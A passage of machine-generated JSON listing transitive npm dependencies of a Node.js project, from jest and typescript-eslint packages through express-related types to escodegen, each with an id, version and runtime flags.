reporters","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893743728,"package_name":"@jest/schemas","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893743729,"package_name":"@jest/source-map","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893743730,"package_name":"@jest/test-result","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893743731,"package_name":"@jest/test-sequencer","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893743732,"package_name":"@jest/transform","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893743733,"package_name":"@jest/types","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893743734,"package_name":"@jridgewell/gen-mapping","ecosystem":"npm","requirements":"0.3.3","direct":false,"kind":"runtime","optional":false},{"id":15893743735,"package_name":"@jridgewell/resolve-uri","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893743736,"package_name":"@jridgewell/set-array","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893743737,"package_name":"@jridgewell/sourcemap-codec","ecosystem":"npm","requirements":"1.4.15","direct":false,"kind":"runtime","optional":false},{"id":15893743738,"package_name":"@jridgewell/trace-mapping","ecosystem":"npm","requirements":"0.3.9","direct":false,"kind":"runtime","optional":false},{"id":15893743739,"package_name":"@jridgewell/trace-mapping","ecosystem":"npm","requirements":"0.3.19","direct":false,"kind":"runtime","optional":false},{"id":15893743740,"package_name":"@nodelib/fs.scandir","ecosystem":"npm","requirements":"2.1.5","direct":false,"kind":"runtime","optional":false},{"id":15893743741,"package_name":"@nodelib/fs.stat","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"runtime","optional":false},{"id":15893743742,"package_name":"@nodelib/fs.walk","ecosystem":"npm","requirements":"1.2.8","direct":false,"kind":"runtime","optional":false},{"id":15893743743,"package_name":"@pkgr/utils","ecosystem":"npm","requirements":"2.4.2","direct":false,"kind":"runtime","optional":false},{"id":15893743744,"package_name":"@sinclair/typebox","ecosystem":"npm","requirements":"0.27.8","direct":false,"kind":"runtime","optional":false},{"id":15893743745,"package_name":"@sinonjs/commons","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743746,"package_name":"@sinonjs/fake-timers","ecosystem":"npm","requirements":"10.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893743747,"package_name":"@socket.io/component-emitter","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893743748,"package_name":"@tootallnate/quickjs-emscripten","ecosystem":"npm","requirements":"0.23.0","direct":false,"kind":"runtime","optional":false},{"id":15893743749,"package_name":"@tsconfig/node10","ecosystem":"npm","requirements":"1.0.9","direct":false,"kind":"runtime","optional":false},{"id":15893743750,"package_name":"@tsconfig/node12","ecosystem":"npm","requirements":"1.0.11","direct":false,"kind":"runtime","optional":false},{"id":15893743751,"package_name":"@tsconfig/node14","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893743752,"package_name":"@tsconfig/node16","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"runtime","optional":false},{"id":15893743753,"package_name":"@types/babel__core","ecosystem":"npm","requirements":"7.20.1","direct":false,"kind":"runtime","optional":false},{"id":15893743754,"package_name":"@types/babel__generator","ecosystem":"npm","requirements":"7.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893743755,"package_name":"@types/babel__template","ecosystem":"npm","requirements":"7.4.1","direct":false,"kind":"runtime","optional":false},{"id":15893743756,"package_name":"@types/babel__traverse","ecosystem":"npm","requirements":"7.20.1","direct":false,"kind":"runtime","optional":false},{"id":15893743757,"package_name":"@types/body-parser","ecosystem":"npm","requirements":"1.19.2","direct":false,"kind":"runtime","optional":false},{"id":15893743758,"package_name":"@types/braces","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893743759,"package_name":"@types/connect","ecosystem":"npm","requirements":"3.4.35","direct":false,"kind":"runtime","optional":false},{"id":15893743760,"package_name":"@types/cookie","ecosystem":"npm","requirements":"0.4.1","direct":false,"kind":"runtime","optional":false},{"id":15893743761,"package_name":"@types/cookiejar","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893743762,"package_name":"@types/cors","ecosystem":"npm","requirements":"2.8.13","direct":false,"kind":"runtime","optional":false},{"id":15893743763,"package_name":"@types/debug","ecosystem":"npm","requirements":"4.1.8","direct":false,"kind":"runtime","optional":false},{"id":15893743764,"package_name":"@types/express-serve-static-core","ecosystem":"npm","requirements":"4.17.36","direct":false,"kind":"runtime","optional":false},{"id":15893743765,"package_name":"@types/express","ecosystem":"npm","requirements":"4.17.17","direct":false,"kind":"runtime","optional":false},{"id":15893743766,"package_name":"@types/graceful-fs","ecosystem":"npm","requirements":"4.1.6","direct":false,"kind":"runtime","optional":false},{"id":15893743767,"package_name":"@types/http-errors","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743768,"package_name":"@types/http-proxy","ecosystem":"npm","requirements":"1.17.11","direct":false,"kind":"runtime","optional":false},{"id":15893743769,"package_name":"@types/is-glob","ecosystem":"npm","requirements":"4.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893743770,"package_name":"@types/istanbul-lib-coverage","ecosystem":"npm","requirements":"2.0.4","direct":false,"kind":"runtime","optional":false},{"id":15893743771,"package_name":"@types/istanbul-lib-report","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743772,"package_name":"@types/istanbul-reports","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743773,"package_name":"@types/jest","ecosystem":"npm","requirements":"29.5.4","direct":false,"kind":"runtime","optional":false},{"id":15893743774,"package_name":"@types/json-schema","ecosystem":"npm","requirements":"7.0.12","direct":false,"kind":"runtime","optional":false},{"id":15893743775,"package_name":"@types/micromatch","ecosystem":"npm","requirements":"4.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893743776,"package_name":"@types/mime","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743777,"package_name":"@types/mime","ecosystem":"npm","requirements":"1.3.2","direct":false,"kind":"runtime","optional":false},{"id":15893743778,"package_name":"@types/minimist","ecosystem":"npm","requirements":"1.2.2","direct":false,"kind":"runtime","optional":false},{"id":15893743779,"package_name":"@types/ms","ecosystem":"npm","requirements":"0.7.31","direct":false,"kind":"runtime","optional":false},{"id":15893743780,"package_name":"@types/node","ecosystem":"npm","requirements":"20.5.9","direct":false,"kind":"runtime","optional":false},{"id":15893743781,"package_name":"@types/node","ecosystem":"npm","requirements":"20.4.7","direct":false,"kind":"runtime","optional":false},{"id":15893743782,"package_name":"@types/node","ecosystem":"npm","requirements":"16.18.48","direct":false,"kind":"runtime","optional":false},{"id":15893743783,"package_name":"@types/normalize-package-data","ecosystem":"npm","requirements":"2.4.1","direct":false,"kind":"runtime","optional":false},{"id":15893743784,"package_name":"@types/qs","ecosystem":"npm","requirements":"6.9.8","direct":false,"kind":"runtime","optional":false},{"id":15893743785,"package_name":"@types/range-parser","ecosystem":"npm","requirements":"1.2.4","direct":false,"kind":"runtime","optional":false},{"id":15893743786,"package_name":"@types/semver","ecosystem":"npm","requirements":"7.5.1","direct":false,"kind":"runtime","optional":false},{"id":15893743787,"package_name":"@types/send","ecosystem":"npm","requirements":"0.17.1","direct":false,"kind":"runtime","optional":false},{"id":15893743788,"package_name":"@types/serve-static","ecosystem":"npm","requirements":"1.15.2","direct":false,"kind":"runtime","optional":false},{"id":15893743789,"package_name":"@types/stack-utils","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743790,"package_name":"@types/superagent","ecosystem":"npm","requirements":"4.1.18","direct":false,"kind":"runtime","optional":false},{"id":15893743791,"package_name":"@types/supertest","ecosystem":"npm","requirements":"2.0.12","direct":false,"kind":"runtime","optional":false},{"id":15893743792,"package_name":"@types/ws","ecosystem":"npm","requirements":"8.5.5","direct":false,"kind":"runtime","optional":false},{"id":15893743793,"package_name":"@types/yargs-parser","ecosystem":"npm","requirements":"21.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743794,"package_name":"@types/yargs","ecosystem":"npm","requirements":"17.0.24","direct":false,"kind":"runtime","optional":false},{"id":15893743795,"package_name":"@typescript-eslint/eslint-plugin","ecosystem":"npm","requirements":"6.5.0","direct":false,"kind":"runtime","optional":false},{"id":15893743796,"package_name":"@typescript-eslint/parser","ecosystem":"npm","requirements":"6.5.0","direct":false,"kind":"runtime","optional":false},{"id":15893743797,"package_name":"@typescript-eslint/scope-manager","ecosystem":"npm","requirements":"6.5.0","direct":false,"kind":"runtime","optional":false},{"id":15893743798,"package_name":"@typescript-eslint/type-utils","ecosystem":"npm","requirements":"6.5.0","direct":false,"kind":"runtime","optional":false},{"id":15893743799,"package_name":"@typescript-eslint/types","ecosystem":"npm","requirements":"6.5.0","direct":false,"kind":"runtime","optional":false},{"id":15893743800,"package_name":"@typescript-eslint/typescript-estree","ecosystem":"npm","requirements":"6.5.0","direct":false,"kind":"runtime","optional":false},{"id":15893743801,"package_name":"@typescript-eslint/utils","ecosystem":"npm","requirements":"6.5.0","direct":false,"kind":"runtime","optional":false},{"id":15893743802,"package_name":"@typescript-eslint/visitor-keys","ecosystem":"npm","requirements":"6.5.0","direct":false,"kind":"runtime","optional":false},{"id":15893743803,"package_name":"JSONStream","ecosystem":"npm","requirements":"1.3.5","direct":false,"kind":"runtime","optional":false},{"id":15893743804,"package_name":"accepts","ecosystem":"npm","requirements":"1.3.8","direct":false,"kind":"runtime","optional":false},{"id":15893743805,"package_name":"acorn-jsx","ecosystem":"npm","requirements":"5.3.2","direct":false,"kind":"runtime","optional":false},{"id":15893743806,"package_name":"acorn-walk","ecosystem":"npm","requirements":"8.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893743807,"package_name":"acorn","ecosystem":"npm","requirements":"8.10.0","direct":false,"kind":"runtime","optional":false},{"id":15893743808,"package_name":"agent-base","ecosystem":"npm","requirements":"6.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893743809,"package_name":"agent-base","ecosystem":"npm","requirements":"7.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893743810,"package_name":"ajv","ecosystem":"npm","requirements":"6.12.6","direct":false,"kind":"runtime","optional":false},{"id":15893743811,"package_name":"ajv","ecosystem":"npm","requirements":"8.12.0","direct":false,"kind":"runtime","optional":false},{"id":15893743812,"package_name":"ansi-escapes","ecosystem":"npm","requirements":"4.3.2","direct":false,"kind":"runtime","optional":false},{"id":15893743813,"package_name":"ansi-escapes","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743814,"package_name":"ansi-regex","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743815,"package_name":"ansi-regex","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743816,"package_name":"ansi-styles","ecosystem":"npm","requirements":"3.2.1","direct":false,"kind":"runtime","optional":false},{"id":15893743817,"package_name":"ansi-styles","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893743818,"package_name":"ansi-styles","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893743819,"package_name":"ansi-styles","ecosystem":"npm","requirements":"6.2.1","direct":false,"kind":"runtime","optional":false},{"id":15893743820,"package_name":"anymatch","ecosystem":"npm","requirements":"3.1.3","direct":false,"kind":"runtime","optional":false},{"id":15893743821,"package_name":"arg","ecosystem":"npm","requirements":"4.1.3","direct":false,"kind":"runtime","optional":false},{"id":15893743822,"package_name":"argparse","ecosystem":"npm","requirements":"1.0.10","direct":false,"kind":"runtime","optional":false},{"id":15893743823,"package_name":"argparse","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743824,"package_name":"array-flatten","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893743825,"package_name":"array-ify","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743826,"package_name":"array-union","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893743827,"package_name":"arrify","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743828,"package_name":"asap","ecosystem":"npm","requirements":"2.0.6","direct":false,"kind":"runtime","optional":false},{"id":15893743829,"package_name":"ast-types","ecosystem":"npm","requirements":"0.13.4","direct":false,"kind":"runtime","optional":false},{"id":15893743830,"package_name":"async-each-series","ecosystem":"npm","requirements":"0.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893743831,"package_name":"async","ecosystem":"npm","requirements":"2.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893743832,"package_name":"asynckit","ecosystem":"npm","requirements":"0.4.0","direct":false,"kind":"runtime","optional":false},{"id":15893743833,"package_name":"axios","ecosystem":"npm","requirements":"0.21.4","direct":false,"kind":"runtime","optional":false},{"id":15893743834,"package_name":"babel-jest","ecosystem":"npm","requirements":"29.6.4","direct":false,"kind":"runtime","optional":false},{"id":15893743835,"package_name":"babel-plugin-istanbul","ecosystem":"npm","requirements":"6.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893743836,"package_name":"babel-plugin-jest-hoist","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893743837,"package_name":"babel-preset-current-node-syntax","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743838,"package_name":"babel-preset-jest","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893743839,"package_name":"backo2","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893743840,"package_name":"balanced-match","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893743841,"package_name":"base64-arraybuffer","ecosystem":"npm","requirements":"0.1.5","direct":false,"kind":"runtime","optional":false},{"id":15893743842,"package_name":"base64id","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743843,"package_name":"basic-ftp","ecosystem":"npm","requirements":"5.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893743844,"package_name":"batch","ecosystem":"npm","requirements":"0.6.1","direct":false,"kind":"runtime","optional":false},{"id":15893743845,"package_name":"big-integer","ecosystem":"npm","requirements":"1.6.51","direct":false,"kind":"runtime","optional":false},{"id":15893743846,"package_name":"binary-extensions","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893743847,"package_name":"body-parser","ecosystem":"npm","requirements":"1.20.1","direct":false,"kind":"runtime","optional":false},{"id":15893743848,"package_name":"body-parser","ecosystem":"npm","requirements":"1.20.2","direct":false,"kind":"runtime","optional":false},{"id":15893743849,"package_name":"bplist-parser","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893743850,"package_name":"brace-expansion","ecosystem":"npm","requirements":"1.1.11","direct":false,"kind":"runtime","optional":false},{"id":15893743851,"package_name":"braces","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893743852,"package_name":"brotli-wasm","ecosystem":"npm","requirements":"1.3.1","direct":false,"kind":"runtime","optional":false},{"id":15893743869,"package_name":"browser-sync-client","ecosystem":"npm","requirements":"2.29.3","direct":false,"kind":"runtime","optional":false},{"id":15893743870,"package_name":"browser-sync-ui","ecosystem":"npm","requirements":"2.29.3","direct":false,"kind":"runtime","optional":false},{"id":15893743871,"package_name":"browser-sync","ecosystem":"npm","requirements":"2.29.3","direct":false,"kind":"runtime","optional":false},{"id":15893743872,"package_name":"browserslist","ecosystem":"npm","requirements":"4.21.10","direct":false,"kind":"runtime","optional":false},{"id":15893743873,"package_name":"bs-logger","ecosystem":"npm","requirements":"0.2.6","direct":false,"kind":"runtime","optional":false},{"id":15893743874,"package_name":"bs-recipes","ecosystem":"npm","requirements":"1.3.4","direct":false,"kind":"runtime","optional":false},{"id":15893743875,"package_name":"bser","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893743876,"package_name":"buffer-from","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893743877,"package_name":"bundle-name","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743878,"package_name":"bytes","ecosystem":"npm","requirements":"3.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893743879,"package_name":"cacheable-lookup","ecosystem":"npm","requirements":"6.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893743880,"package_name":"call-bind","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893743881,"package_name":"callsites","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893743882,"package_name":"camelcase-keys","ecosystem":"npm","requirements":"6.2.2","direct":false,"kind":"runtime","optional":false},{"id":15893743883,"package_name":"camelcase","ecosystem":"npm","requirements":"5.3.1","direct":false,"kind":"runtime","optional":false},{"id":15893743884,"package_name":"camelcase","ecosystem":"npm","requirements":"6.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893743885,"package_name":"caniuse-lite","ecosystem":"npm","requirements":"1.0.30001525","direct":false,"kind":"runtime","optional":false},{"id":15893743886,"package_name":"chalk","ecosystem":"npm","requirements":"4.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893743887,"package_name":"chalk","ecosystem":"npm","requirements":"5.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893743888,"package_name":"chalk","ecosystem":"npm","requirements":"2.4.2","direct":false,"kind":"runtime","optional":false},{"id":15893743889,"package_name":"char-regex","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893743890,"package_name":"chokidar","ecosystem":"npm","requirements":"3.5.3","direct":false,"kind":"runtime","optional":false},{"id":15893743891,"package_name":"ci-info","ecosystem":"npm","requirements":"3.8.0","direct":false,"kind":"runtime","optional":false},{"id":15893743892,"package_name":"cjs-module-lexer","ecosystem":"npm","requirements":"1.2.3","direct":false,"kind":"runtime","optional":false},{"id":15893743893,"package_name":"cli-cursor","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743894,"package_name":"cli-truncate","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893743895,"package_name":"cliui","ecosystem":"npm","requirements":"7.0.4","direct":false,"kind":"runtime","optional":false},{"id":15893743896,"package_name":"cliui","ecosystem":"npm","requirements":"8.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743897,"package_name":"co","ecosystem":"npm","requirements":"4.6.0","direct":false,"kind":"runtime","optional":false},{"id":15893743898,"package_name":"collect-v8-coverage","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893743899,"package_name":"color-convert","ecosystem":"npm","requirements":"1.9.3","direct":false,"kind":"runtime","optional":false},{"id":15893743900,"package_name":"color-convert","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743901,"package_name":"color-name","ecosystem":"npm","requirements":"1.1.3","direct":false,"kind":"runtime","optional":false},{"id":15893743902,"package_name":"color-name","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"runtime","optional":false},{"id":15893743903,"package_name":"colorette","ecosystem":"npm","requirements":"2.0.20","direct":false,"kind":"runtime","optional":false},{"id":15893743904,"package_name":"combined-stream","ecosystem":"npm","requirements":"1.0.8","direct":false,"kind":"runtime","optional":false},{"id":15893743905,"package_name":"commander","ecosystem":"npm","requirements":"11.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743906,"package_name":"commander","ecosystem":"npm","requirements":"2.20.3","direct":false,"kind":"runtime","optional":false},{"id":15893743907,"package_name":"common-tags","ecosystem":"npm","requirements":"1.8.2","direct":false,"kind":"runtime","optional":false},{"id":15893743908,"package_name":"compare-func","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743909,"package_name":"component-emitter","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893743910,"package_name":"concat-map","ecosystem":"npm","requirements":"0.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743911,"package_name":"connect-history-api-fallback","ecosystem":"npm","requirements":"1.6.0","direct":false,"kind":"runtime","optional":false},{"id":15893743912,"package_name":"connect","ecosystem":"npm","requirements":"3.6.6","direct":false,"kind":"runtime","optional":false},{"id":15893743913,"package_name":"connect","ecosystem":"npm","requirements":"3.7.0","direct":false,"kind":"runtime","optional":false},{"id":15893743914,"package_name":"content-disposition","ecosystem":"npm","requirements":"0.5.4","direct":false,"kind":"runtime","optional":false},{"id":15893743915,"package_name":"content-type","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"runtime","optional":false},{"id":15893743916,"package_name":"conventional-changelog-angular","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743917,"package_name":"conventional-changelog-conventionalcommits","ecosystem":"npm","requirements":"6.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893743918,"package_name":"conventional-commits-parser","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743919,"package_name":"convert-source-map","ecosystem":"npm","requirements":"1.9.0","direct":false,"kind":"runtime","optional":false},{"id":15893743920,"package_name":"convert-source-map","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743921,"package_name":"cookie-signature","ecosystem":"npm","requirements":"1.0.6","direct":false,"kind":"runtime","optional":false},{"id":15893743922,"package_name":"cookie","ecosystem":"npm","requirements":"0.5.0","direct":false,"kind":"runtime","optional":false},{"id":15893743923,"package_name":"cookie","ecosystem":"npm","requirements":"0.4.2","direct":false,"kind":"runtime","optional":false},{"id":15893743924,"package_name":"cookiejar","ecosystem":"npm","requirements":"2.1.4","direct":false,"kind":"runtime","optional":false},{"id":15893743925,"package_name":"core-util-is","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893743926,"package_name":"cors-gate","ecosystem":"npm","requirements":"1.1.3","direct":false,"kind":"runtime","optional":false},{"id":15893743927,"package_name":"cors","ecosystem":"npm","requirements":"2.8.5","direct":false,"kind":"runtime","optional":false},{"id":15893743928,"package_name":"cosmiconfig-typescript-loader","ecosystem":"npm","requirements":"4.4.0","direct":false,"kind":"runtime","optional":false},{"id":15893743929,"package_name":"cosmiconfig","ecosystem":"npm","requirements":"8.3.2","direct":false,"kind":"runtime","optional":false},{"id":15893743930,"package_name":"create-require","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893743931,"package_name":"cross-fetch","ecosystem":"npm","requirements":"3.1.8","direct":false,"kind":"runtime","optional":false},{"id":15893743932,"package_name":"cross-spawn","ecosystem":"npm","requirements":"7.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893743933,"package_name":"dargs","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743934,"package_name":"data-uri-to-buffer","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743935,"package_name":"debug","ecosystem":"npm","requirements":"2.6.9","direct":false,"kind":"runtime","optional":false},{"id":15893743936,"package_name":"debug","ecosystem":"npm","requirements":"4.3.4","direct":false,"kind":"runtime","optional":false},{"id":15893743937,"package_name":"debug","ecosystem":"npm","requirements":"4.3.2","direct":false,"kind":"runtime","optional":false},{"id":15893743938,"package_name":"debug","ecosystem":"npm","requirements":"3.2.7","direct":false,"kind":"runtime","optional":false},{"id":15893743939,"package_name":"decamelize-keys","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893743940,"package_name":"decamelize","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893743941,"package_name":"dedent","ecosystem":"npm","requirements":"1.5.1","direct":false,"kind":"runtime","optional":false},{"id":15893743942,"package_name":"deep-is","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"runtime","optional":false},{"id":15893743943,"package_name":"deepmerge","ecosystem":"npm","requirements":"4.3.1","direct":false,"kind":"runtime","optional":false},{"id":15893743944,"package_name":"default-browser-id","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743945,"package_name":"default-browser","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743946,"package_name":"define-lazy-prop","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743947,"package_name":"define-lazy-prop","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743948,"package_name":"degenerator","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743949,"package_name":"delayed-stream","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743950,"package_name":"depd","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743951,"package_name":"depd","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893743952,"package_name":"destroy","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893743953,"package_name":"destroy","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"runtime","optional":false},{"id":15893743954,"package_name":"destroyable-server","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743957,"package_name":"detect-newline","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893743958,"package_name":"dev-ip","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743959,"package_name":"dezalgo","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"runtime","optional":false},{"id":15893743960,"package_name":"diff-sequences","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893743961,"package_name":"diff","ecosystem":"npm","requirements":"4.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893743962,"package_name":"dir-glob","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743963,"package_name":"doctrine","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743964,"package_name":"dot-prop","ecosystem":"npm","requirements":"5.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893743965,"package_name":"duplexify","ecosystem":"npm","requirements":"3.7.1","direct":false,"kind":"runtime","optional":false},{"id":15893743966,"package_name":"eastasianwidth","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893743967,"package_name":"easy-extender","ecosystem":"npm","requirements":"2.3.4","direct":false,"kind":"runtime","optional":false},{"id":15893743968,"package_name":"eazy-logger","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893743969,"package_name":"ee-first","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893743970,"package_name":"electron-to-chromium","ecosystem":"npm","requirements":"1.4.508","direct":false,"kind":"runtime","optional":false},{"id":15893743971,"package_name":"emittery","ecosystem":"npm","requirements":"0.13.1","direct":false,"kind":"runtime","optional":false},{"id":15893743972,"package_name":"emoji-regex","ecosystem":"npm","requirements":"8.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743973,"package_name":"emoji-regex","ecosystem":"npm","requirements":"9.2.2","direct":false,"kind":"runtime","optional":false},{"id":15893743974,"package_name":"encodeurl","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893743975,"package_name":"end-of-stream","ecosystem":"npm","requirements":"1.4.4","direct":false,"kind":"runtime","optional":false},{"id":15893743976,"package_name":"engine.io-client","ecosystem":"npm","requirements":"6.5.2","direct":false,"kind":"runtime","optional":false},{"id":15893743977,"package_name":"engine.io-parser","ecosystem":"npm","requirements":"5.2.1","direct":false,"kind":"runtime","optional":false},{"id":15893743978,"package_name":"engine.io","ecosystem":"npm","requirements":"6.5.2","direct":false,"kind":"runtime","optional":false},{"id":15893743979,"package_name":"error-ex","ecosystem":"npm","requirements":"1.3.2","direct":false,"kind":"runtime","optional":false},{"id":15893743980,"package_name":"escalade","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893743981,"package_name":"escape-html","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893743982,"package_name":"escape-string-regexp","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"runtime","optional":false},{"id":15893743983,"package_name":"escape-string-regexp","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743984,"package_name":"escape-string-regexp","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893743985,"package_name":"escodegen","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893743986,"package_name":"eslint-config-prettier","ecosystem":"npm","requirements":"9.0.0","direct":fal